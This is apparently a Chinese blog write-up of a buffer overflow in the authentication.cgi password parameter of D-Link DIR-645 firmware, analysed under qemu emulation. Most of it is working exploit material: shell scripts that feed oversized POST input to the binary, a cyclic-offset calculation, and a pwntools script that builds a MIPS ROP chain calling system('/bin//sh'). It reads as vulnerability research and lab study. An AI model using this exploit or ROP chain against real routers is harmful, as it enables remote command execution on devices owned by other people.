Contents
  1. 1. 分析
  2. 2. 利用
    1. 2.1. exp

固件下载:http://files.dlink.com.au/Products/DIR-645/REV_A/Firmware/DIR645_FW103B11/
POC:https://www.exploit-db.com/exploits/33862

分析

从介绍中可以看出是cgi脚本authentication.cgi在读取POST参数中名为password参数的值时可造成缓冲区溢出。
有了上篇,这个流程也都差不多,有些不多赘述。

1
2
3
4
5
6
7
8
9
10
11
12
$ unzip xxx.zip
$ binwalk -Me xxx.bin

squashfs-root$ sudo find ./ -name authentication.cgi
./htdocs/web/authentication.cgi
$ file ./htdocs/web/authentication.cgi
./htdocs/web/authentication.cgi: broken symbolic link to /htdocs/cgibin
$ file ./htdocs/cgibin
./htdocs/cgibin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped

LSB MIPS文件,所以
$ cp $(which qemu-mipsel-static) ./

IDA分析cgibin,直接去到authenticationcgi_main函数,但是要找问题函数,还是太庞大了,根据poc丢进去一长串数字,此处只能接收uid=xxx&password=xxx类型的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/bash
# cgi_run.sh
# sudo ./cgi_run.sh `python -c "print 'uid=1234&password='+'A'*0x600"` "uid=1234"

INPUT="$1"
TEST="$2"

LEN=$(echo -n $INPUT | wc -c)
PORT="1234"


if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nusage: sudo $0\n"
exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencodede" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi 2>/dev/null
echo "run ok"
rm -f ./qemu

也可以直接用在815时候测试的方法

1
$ sudo bash ./run_cgi.sh `python -c "print 'uid=1234&password='+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaal'"` "uid=1234"


即read执行

1
read( fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")));

其中CONTENT_LENGTH没有长度限制,会造成溢出。

1
2
pwndbg> cyclic -l 0x616E6B61
1050

所以'uid=1234&password=' + 'a' * 1050可以覆盖$ra

利用

exp

剩下的找ROP什么的都和815多次溢出一样了,把偏移改一改就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

from pwn import *
context.endian="little"
context.arch="mips"

# base_addr = 0x767e9000
base_addr = 0x76738000
system_addr = base_addr + 0x53200
rop1 = base_addr + 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
rop2 = base_addr + 0x158C8 # addiu $s0,1 | jalr $s5 |

padding = 'uid=1234&password=' + 'a' * (1050 - 4*9)
padding += p32(system_addr-1) # s0
padding += 'a' * 4 # s1
padding += 'a' * 4 # s2
padding += 'a' * 4 # s3
padding += 'a' * 4 # s4
padding += p32(rop1) # s5
padding += 'a' * 4 # s6
padding += 'a' * 4 # s7
padding += 'a' * 4 # fd
padding += p32(rop2) # ra
padding += 'a' * 0x10
padding += '/bin//sh'

with open("payload",'wb') as f:
f.write(padding)
f.close()

run_cgi.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/bash

# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*1160"` "uid=A21G"

INPUT="$(<payload)"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"

if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi

cp $(which qemu-mipsel-static) ./qemu

echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu